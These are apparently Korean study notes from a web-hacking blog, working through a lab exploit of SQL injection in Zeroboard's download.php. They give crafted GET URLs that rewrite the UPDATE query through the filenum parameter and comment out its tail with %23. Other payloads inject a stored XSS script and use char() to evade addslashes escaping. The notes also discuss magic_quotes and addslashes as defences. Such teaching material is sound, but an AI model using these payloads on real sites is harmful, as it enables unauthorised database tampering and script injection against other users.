1.SQL Injection
-SQL 쿼리를 삽입할 수 있는 취약점
-php,command,...injection
-php download 취약점
2.취약점 확인
1).게시판 페이지 소스코드 확인
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1
2).download.php
mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");
여기에 변수 $t_board 에 대한 정보가 없으니 내부에서 정의 되어 있는지 확인해 보면 lib.php에 정의되어 있다
lib.php
-내부에서 정의(lib.php)
$t_board = "zetyx_board";
-외부에서 정의(GET)
$id=attack
$filenum=1
$no=14
mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");
그럼 이제 이 쿼리 구문을 해석해 보면 아래와 같이 출력이 되고
update zetyx_board_attack set download1=download1+1 where no='14'
실제로 실행되는 sql 쿼리를 확인하면 이렇게 나온다.
외부에서 정의된 3가의 변수 때문에 injection에 취약하다
4).취약점 검증
download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1
외부에서 정의된 값을 조작할수있다
update zetyx_board_attack set download1=download1+1 where no='27'
get 방식으로 접근하니까 다운로드를 클릭하지 않고 Downlad 가 1로 증가했다.
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100
이 쿼리문은 뒤에 수식이 오류가 나지만
만약 여기서 update zetyx_board_attack set download1=100 여기까지만 실행하고 이 뒷부분을 주석처리한다면 "=download100+1 where no='27'"
이 쿼리는 오류가 나지 않을것이다.
6).주석:--,#,/* */ ->url_encoding (escape) ->%아스키 코드값
download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100 %23
update zetyx_board_attack set download1=100 #=download100+1 where no='14'
[실습]
-download 취약점을 이용해서 게시글에 다음과 같은 스크립트를 삽입한다
<script> alert('xss') </script>
download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=10, memo="<script> alert('xss') </script>" where no=27 %23
1.차단
1). string injection
-memo:쿼츠가 필요하다
-php 설정:magic_quotes_GPC(구 버전 에서만 사용이 가능하다)
/etc/php.ini
설정을 On으로 변경뒤 SQL 인젝션 공격을 수행하면
update zetyx_board_attack set download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #=download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #+1
''앞에 \\\이 붙은걸 확인할수 있다
위에서 말한 개념처럼 이방식은 구 버전 에서만 사용이 가능한데 요즘은
addslashes() 함수로 차단해야한다 입력값 3개만 차단하면 된다
download.php
$filenum=addslashes($filenum);
$no=addslashes($no);
$id=addslashes($id);
3개의 입력값만 차단하면 인젝션은 막을수 있는데 이 변수 3개가 GET방식으로 외부에서 정의되는 변수이기 때문이다
addslashes() 는 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환합니다. 이 문자들은 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NUL(NULL 바이트)입니다.
2). numeric injetion
-filenum:쿼츠가 필요하지 않다
2.우회
문자열을 입력할 때 꼭 ', "을 사용해야 하는가?
-쿼츠를 사용하지 않고 문자열을 입력할 수 있어야 한다.
-쿼츠를 사용하지 않고 문자열을 표현 ->mysql funtion, if,while
함수 https://dev.mysql.com/doc/refman/5.7/en/func-op-summary-ref.html
1.mysql> select ascii('x'); 으로 아스키 코드로 변조가 가능하다
우선 내가 쓰고싶은 문자를 ascii 코드로 변조를 시켜야 한다
이런 방식으로 ascii 코드의 숫자 값을 알게되면 만약 test 가 116,101,115,116 이렇게 구성되어 있는데
이제 그 숫자를 다시 char를 사용해서 문자로 표현이 가능하다
*CHAR() 함수는 아스키 코드 값에 의해 주어진 문자로 구성되는 문자열을 반환 mysql 내장 함수이다
mysql> select char(70,71,72,73);
+-------------------+
| char(70,71,72,73) |
+-------------------+
| FGHI |
+-------------------+
download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1=10, memo=char(116,101,115,116) %23
변경이 가능하다
! 취약점 점검 -> 취약점이 있음을 증명
1).결과를 보고->취약하다: 귀납적 추론
2)원인을 보고 소스코드 분석
'웹 해킹' 카테고리의 다른 글
[Web해킹] SQL Blind 인젝션 (0) | 2017.12.07 |
---|---|
[Web해킹] 서버 측 언어를 이용한 취약점+웹쉘/바인드쉘/리버스 쉘 (0) | 2017.12.05 |
[Web해킹] CSRF(Cross Site Request Forgery)) (0) | 2017.12.01 |
[Web해킹] XSS (Cross site Scripting) (0) | 2017.12.01 |
[Web해킹] 제로보드 설치하기 (0) | 2017.11.30 |